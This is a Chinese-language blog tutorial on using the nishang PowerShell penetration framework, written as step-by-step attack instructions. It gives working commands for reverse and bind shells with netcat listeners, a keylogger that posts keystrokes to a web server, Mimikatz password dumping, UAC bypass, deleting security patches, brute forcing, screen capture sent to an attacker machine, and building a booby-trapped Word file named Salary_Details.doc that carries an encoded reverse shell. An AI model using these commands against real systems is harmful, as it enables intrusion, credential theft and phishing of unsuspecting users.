PowerShell攻防进阶篇:nishang工具用法详解
PowerShell攻防進(jìn)階篇:nishang工具用法詳解
導(dǎo)語:nishang,PowerShell下并肩Empire,Powersploit的神器。
開始之前,先放出個下載地址!
下載地址:https://github.com/samratashok/nishang
1.簡介
Nishang是一款針對PowerShell的滲透工具。說到滲透工具,那自然便是老外開發(fā)的東西。國人開發(fā)的東西,也不是不行,只不過不被認(rèn)可罷了。不管是誰開發(fā)的,既然跟滲透有關(guān)系,那自然是對我們有幫助的,學(xué)習(xí)就好。來源什么的都不重要??傊?,nishang也是一款不可多得的好工具。非常的好用。
2.簡單的安裝與問題處理
先到github上去下載nishang,可以使用git命令直接下載,如果沒有裝的話下載zip文件,解壓之后就可以開始我們的學(xué)習(xí)之旅了。
導(dǎo)入之前加一句,nishang的使用是要在PowerShell 3.0以上的環(huán)境中才可以正常使用。也就是說win7下是有點小問題的。因為win7下自帶的環(huán)境是PowerShell 2.0
如果大家不知道自己的PowerShell環(huán)境是多少的版本??梢允褂肎et-Host命令來查看當(dāng)前的版本。建議使用windows 10測試
既然是PowerShell框架,那自然是要導(dǎo)入的,然而,導(dǎo)入的時候還是會碰到一些比較麻煩的問題。對PowerShell比較熟悉的,看一眼就知道是什么問題,但是不知道的就一臉蒙,百度都不知道怎么百度。比如說:
我們在導(dǎo)入的時候經(jīng)常會碰到的問題,(不只是nishang)
出現(xiàn)了報錯,我一直都不知道怎么辦的,沒辦法,只能用過遠(yuǎn)程文件下載來進(jìn)行本地權(quán)限繞過。
解決方法:
PowerShell默認(rèn)的執(zhí)行策略是Restricted,但是Restricted是不允許運(yùn)行任何腳本的。你在PowerShell執(zhí)行Get-ExecutionPolicy命令來查看默認(rèn)的策略組。我們需要修改策略組,在PowerShell下執(zhí)行Set-ExecutionPolicy remotesigned。再次導(dǎo)入,就導(dǎo)入成功了。(警告不需要理會)
因為警告不相信導(dǎo)入成功的,可以繼續(xù)執(zhí)行命令來進(jìn)一步驗證。
nishang的命令都被列出來了。執(zhí)行一道命令行Get-Information??梢粤谐霰緳C(jī)的信息
3.目錄結(jié)構(gòu)
有經(jīng)驗的童鞋看一眼就知道這個目錄是怎么玩的了,雖然英文水平不怎么滴,但是晚了這么久看到這些目錄還是有一些熟悉感的
跟大家說個事情,150分的英語卷子,我得了27分。上面這些是我用google翻譯加蒙的。這都不重要。繼續(xù)往后看吧。主要是他后續(xù)的功能以及命令的使用。當(dāng)導(dǎo)入nishang.psm1的時候,所有的模塊都直接可以被PowerShell讀到。當(dāng)然,在滲透過程中,肯定不能直接把nishang的整個目錄賦值到人家的服務(wù)器上。遠(yuǎn)程下載的時候,了解目錄結(jié)構(gòu)對我們尋找文件位置是很有幫助的~~
4.操作方法
忍不住的小伙子們,來來來,拿起紙和筆,記筆記,這是重點。
4.1信息搜集
看上面的目錄結(jié)構(gòu)圖,就知道哪里去找要用的東西了。挑一些好用的模塊來說
4.1.1 Check-VM
看名字就知道是干嘛的了,檢測該主機(jī)是不是虛擬機(jī)
程序給了答復(fù),說本機(jī)器就是一個虛擬機(jī)。
4.1.2 Invoke-CredentialsPhish
這個腳本怎么說,說是欺騙用戶,讓用戶輸入密碼,但是我覺得吧,這就是個十足的流氓。
為啥說是流氓了?不給正確密碼就不給關(guān),你說流氓不,反正關(guān)不掉,只能強(qiáng)制干掉進(jìn)程。當(dāng)然,如果成功了,還是很好用的
這樣還是可以的,哈~
4.1.3 Copy-VSS
Copy-VSS [文件地址] –默認(rèn)是在當(dāng)前文件夾下面
Copy-VSS [文件地址] -DestinationDir C:temp –保存文件到指定文件下
4.1.4 FireBuster FireListener
內(nèi)網(wǎng)掃描,很洋氣的掃描器,本地開了監(jiān)聽,然后遠(yuǎn)程傳送數(shù)據(jù)
FireListener-PortRange130-150 FireBuster192.168.12.107130-150-Verbose
4.1.5 Get-WLAN-Keys
由于本機(jī)器是臺式電腦,并沒有無線網(wǎng)卡,所以不做演示。
4.1.6 Keylogger鍵盤記錄
講真,從來沒有見過這么牛的鍵盤記錄模塊,這個模塊有必要看一下HELP深究一下,真的牛。
Get-Help.Keylogger.ps1-full
一條一條說:
1:直接執(zhí)行,他會顯示
之后,默認(rèn)在Temp目錄下生成一個key.log文件
2:就是一句話命令行
-CheckURL去檢查設(shè)置的URL頁面中有沒有-MagicString后的字符串,有的話停止,沒有的話繼續(xù)。。
3 : 將記錄的信息以POST形式發(fā)送到WEB服務(wù)器上。
4:電腦重啟之后,繼續(xù)監(jiān)聽。。
當(dāng)監(jiān)聽完成后,需要用Utility目錄下的Parse_Keys來解析key文件
Parse_Keys"C:UsersxxxAppDataLocalTempkey.log""c:test.txt"
總之-MagicString這后面就是密碼
-CheckURL 也一定要寫自己的,要不停不下來了
沒有設(shè)置persist的童鞋,關(guān)掉當(dāng)前PowerShell,即刻停止
4.1.7 抓取用戶的明文密碼
Invoke-Mimikatz 不需要解釋的神器
4.1.8 HASH獲取
Get-PassHashes
4.1.9 獲取用戶的密碼提示信息
Get-PassHints
感覺沒什么用,但是別小看這個功能,有的時候可以根據(jù)提示信息來生成密碼文件,大大提高爆破的成功率。還有的人會將明文密碼記錄在這個提示信息中。我曾經(jīng)就是。。
4.2.0各式各樣的反彈
既然說是神器,那自然有牛的一面,各式各樣的shell,任由你反彈,跟msf一樣。
###TCP的shell
既然TCP,那就有正反向鏈接,先來反向鏈接(需要NC)
反向鏈接:
NC下執(zhí)行 : nc -lvp 3333
在PowerShell下執(zhí)行:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.12.110 -Port 3333
正向鏈接:
PowerShell下執(zhí)行:Invoke-PowerShellTcp -Bind -Port 3333
NC下執(zhí)行:nc -nv 192.168.12.103 3333
###UDP 的Shell
只是單純的將Invoke-PowerShellTcp改為Invoke-PowerShellUdp,其他命令。之后就是nc的命令改變了
正向連接:nc -nvu 192.168.12.103 3333
反向連接:nc -lup 3333
一波題外話,看不懂nc命令的童鞋:https://www.explainshell.com
可以到這里,命令可以解析,什么都可以,不止是nc,linux命令都行
就是都是英文,不過比較簡單了
###HTTP/HTTPS的shell
HTTP:Invoke-PoshRatHttp-IPAddress192.168.12.103-Port3333 HTTPS:Invoke-PoshRatHttps-IPAddress192.168.12.103-Port3333
執(zhí)行完之后會生成一道命令,HTTP和HTTPS一樣,這里我只演示是HTTP
將這道命令拖入cmd中執(zhí)行,之后命令行消失,在本機(jī)Powershell下返回了一個會話
4.3 webshell
存放于nishangAntak-WebShell目錄下,就是一個ASPX的大馬,但是命令行是PowerShell,比單純的cmd強(qiáng)大很多。功能齊全,日aspx的站必備的東西
同樣需要賬號密碼,上傳下載,無所不能。
4.4 提權(quán)
滲透過程中,這里應(yīng)該是使用最多的地方了。
4.4.1 嘗試本地權(quán)限提升
Enable-DuplicateToken
這個腳本在我們具有一定權(quán)限的時候,可以幫助幫助我們獲得系統(tǒng)權(quán)限。
4.4.2 Bypass UAC
Invoke-PsUACme 看名字就知道是干嘛的了。繞過UAC嗎~,Nishang中給出的方法太全面了,GET-HELP來看看幫助信息
實例一: 使用Sysprep方法和默認(rèn)的Payload執(zhí)行
實例二: 使用oobe方法跟默認(rèn)的payload執(zhí)行
實例三: 使用oobe方法跟自制payload執(zhí)行
這個模塊用的是UACME項目的DLL來Bypass UAC。所以,方法對照表
這只是官方給的例子,回過頭來看一眼上面的參數(shù)信息。
-Payloadpath指定一個payload路徑
-CustomDll64
指定一個dll文件,后兩位代表系統(tǒng)位數(shù)
-CustomDll32
嘗試本地Bypass UAC:
4.4.3 刪除補(bǔ)丁
刪除補(bǔ)丁,這是我見過最`厲害`的腳本,沒有之一。如此騷氣!
Remove-Update
實例一: 刪除全部補(bǔ)丁
實例二: 刪除全部的安全補(bǔ)丁
實例三: 刪除指定的補(bǔ)丁
這是刪除之前的補(bǔ)丁情況
嘗試刪除第一個補(bǔ)丁
成功刪除了第一個補(bǔ)丁。
4.5端口掃描,爆破
4.5.1: 端口掃描
來詳細(xì)說明下個個參數(shù)
可以使用 Get-Help Invoke-PortScan -full 查看幫助信息
-StartAddress開始的IP地址
-EndAddress結(jié)束的IP地址
-ResolveHost 是否解析主機(jī)名
-ScanPort要不要進(jìn)行端口掃描
-Port要掃描的端口(默認(rèn)很多,看上圖)
-TimeOut超時時間
對我本地局域網(wǎng)進(jìn)行掃描:
Invoke-PortScan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 -ResolveHost
掃描中:
掃描結(jié)束:
4.5.2 弱口令爆破
Invoke-BruteForce
之前先說命令參數(shù)
-ComputerName對應(yīng)服務(wù)的計算機(jī)名
-UserList用戶名字典
-PasswordList密碼字典
-Service服務(wù)(默認(rèn)為:SQL)
-StopOnSuccess匹配一個后停止
-Delay 延遲時間
有了上面的說明,這里看到應(yīng)該很清楚了。不在做過多的解釋。
4.6 嗅探
內(nèi)網(wǎng)嗅探,動靜太大了,但是,實在沒辦法的時候,不得不說,這是一個辦法。
在靶機(jī)上執(zhí)行:Invoke-Interceptor -ProxyServer 192.168.250.172 -ProxyPort 9999
監(jiān)聽機(jī)器上執(zhí)行:netcat -lvvp 9999
4.7 屏幕竊取
Show-TargetScreen
屏幕竊取,一樣正反向通吃
-IPAddress 后面加IP地址(反向鏈接需要)
-Port 加端口
-Bind 正向連接
反向鏈接竊取屏幕
靶機(jī):Show-TargetScreen -Reverse -IPAddress 192.168.250.172 -Port 3333
攻擊機(jī):netcat -nlvp 3333 | netcat -nlvp 9999
之后訪問攻擊機(jī)器的9999端口,就可以竊取到屏幕了
正向連接竊取屏幕
靶機(jī)執(zhí)行:Show-TargetScreen -Bind -Port 3333
攻擊機(jī)執(zhí)行:netcat -nv 192.168.250.37 3333 | netcat -lnvp 9999
之后同樣,訪問本機(jī)的9999端口,就能正常訪問了。
4.8 Client
Nishang可以生成各式各樣的客戶端。類型大概有
這么多類型全都可以生成。選擇一種來說,其他的方法都是類似的。
打開nishangShellsInvoke-PowerShellTcpOneLine.ps1這個文件,復(fù)制第三行的內(nèi)容??梢钥吹街虚g有一個TCPClient的參數(shù),這里就是遠(yuǎn)程連接的地址了
更改這個地址和端口即可,之后進(jìn)入命令行執(zhí)行
Invoke-Encode -DataToEncode '你的代碼' -IsString -PostScript
執(zhí)行完成之后會在當(dāng)前目錄下生成兩個文件。一個是encoded.txt 另一個是encodedcommand.txt。之后執(zhí)行
Out-Word -PayloadScript .encodedcommand.txt
就可以在我們當(dāng)前文件夾下生成一個名為Salary_Details.doc的doc文件。之后使用nc監(jiān)聽就好
說完了操作,回過頭來看看命令行參數(shù)
-Payload 后面直接加payload,但是注意引號的閉合
-PayloadURL 傳入遠(yuǎn)程的payload進(jìn)行生成
-PayloadScript 指定本地的腳本進(jìn)行生成
-Arguments 之后加要執(zhí)行的函數(shù)。(payload之中有的函數(shù))
-OutputFile 輸出的文件名
-WordFileDir 輸出的目錄地址
-Recurse 在WordFileDir中遞歸尋找Word文件
-RemoveDocx 創(chuàng)建完成后刪除掉原始的文件
5.總結(jié)
看完之后肯定一臉懵逼,這都是啥。這么復(fù)雜的語法,沒辦法,針對PowerShell的工具語法相對而言都比較復(fù)雜。而且,并沒有講解nishang的后門模塊,個人覺得不是那么好用。還有一些反彈技巧并沒有詳細(xì)介紹,比如說什么DNS反彈,ICMP反彈,WMI反彈。
有興趣的朋友可以自行研究,每一款工具針對不同的環(huán)境都能給我們帶來意想不到的效果。不用歸不用,但是到萬不得已用的時候,才是最惡心的,藝多不壓身嘛~
在研究過程中又碰到問題的,點我頭像給我留言,我看到的話會盡量幫忙的~
總結(jié)
以上是生活随笔為你收集整理的PowerShell攻防进阶篇:nishang工具用法详解的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 如何用WebIDE打开并运行CRM Fi
- 下一篇: Python图像处理库PIL中图像格式转